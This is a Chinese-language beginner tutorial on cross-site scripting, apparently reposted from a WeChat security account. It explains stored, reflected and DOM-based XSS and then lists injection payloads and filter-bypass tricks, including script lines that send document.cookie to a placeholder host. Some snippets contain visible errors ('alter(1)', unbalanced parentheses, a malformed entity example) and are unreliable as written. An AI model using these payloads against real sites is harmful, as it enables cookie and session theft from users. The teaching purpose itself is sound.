XSS简介
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
XSS(Cross-site scripting)注入是一种针对 Web 应用程序的安全漏洞,攻击者利用该漏洞向 Web 页面中注入恶意代码,当其他用户访问该页面时,这些恶意代码就会被执行,从而使攻击者能够窃取用户的信息、篡改用户的数据,甚至控制用户的账户等。
XSS分类
XSS 注入通常分为三种类型:
-
存储型 XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。这种类型的XSS
-
反射型 XSS:反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
-
DOM 型 XSS:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
注意:大体上只分为存储型XSS和反射型XSS,反射型XSS包括DOM型XSS
XSS攻击步骤
存储型XSS:
-
攻击者将恶意代码提交到目标网站的数据库中。
-
用户打开目标网站时,数据库中的恶意代码将会被拼接在HTML中返回给浏览器
-
用户浏览器接收到响应后解析执行,其中恶意代码也会被执行。
-
恶意代码窃取用户数据并发送到攻击者的网站。
这种攻击方法常见于能够进行意见提交、用户私信等场景,在提交恶意代码的时候需要进行多次提交,通过注释掉影响恶意代码解析的代码,实现恶意代码的拼接。比如:
<script>/*
*/alter(1);/*
*/</script>
反射型XSS:
-
攻击者通过构造出特殊的URL,其中包含了恶意代码。
-
用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器。
-
用户浏览器接收到响应并解析执行,其后恶意代码也会被执行。
-
恶意代码窃取用户数据并发送到攻击者的网站
这种攻击方法常见于能够通过URL传递参数的网站,比如网站跳转。注意这种self型反射需要结合钓鱼来使用,漏洞平台并不认可。
DOM型XSS:
-
攻击者构造出特殊的URL,其中包含了恶意代码。
-
用户打开带有恶意代码的URL。
-
用户浏览器接收到响应并解析执行,前端JavaScript取出URL中的恶意代码并执行。
-
恶意代码窃取用户数据并发送到攻击者的网站。
XSS注入常用注入手段
直接注入:
<script>alert('1')</script>
img标签隐藏:
<img src="1" onerror=alert(1)>
<img src="1" onerror=javascript:alert(1)>
<img src="1" onmouseover="alert(1)"
input标签隐藏:
<input onfocus="alert(1);">
<input onblur=alert(1) autofocus>
<input autofocus>
svg标签:
<svg onload=alert(1)>
常用绕过姿势
双写绕过:
<scrscriptipt>alert(1)</scrscriptipt>
大小写绕开:
<ScriPT>alert(1)</ScriPT>
实体编码:
<img src=1 onerror="alert(1)">
<alert(1&41;>
URL编码:(也可以用Base64)
%3Cscript%3Ealert%281%29%3C/script%3E
获取cookie:
<script>window.open("http://url?cookie="+document.cookie)</script>
<script>document.location.href="http://url?cookie="+document.cookie)</script>
<script>new Image().src="http://url?cookie="+document.cookie)</script>
我们还可以通过闭合标签,拼凑标签,注释代码,组合编码,符号转义,抓包绕过前端限制等等方法绕过过滤限制。
参考链接:
https://tech.meituan.com/2018/09/27/fe-security.html
https://juejin.cn/post/7028870773053849630
https://www.cnblogs.com/HunterJ/p/10716889.html
原文始发于微信公众号(鱼板安全):XSS注入(基础知识)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论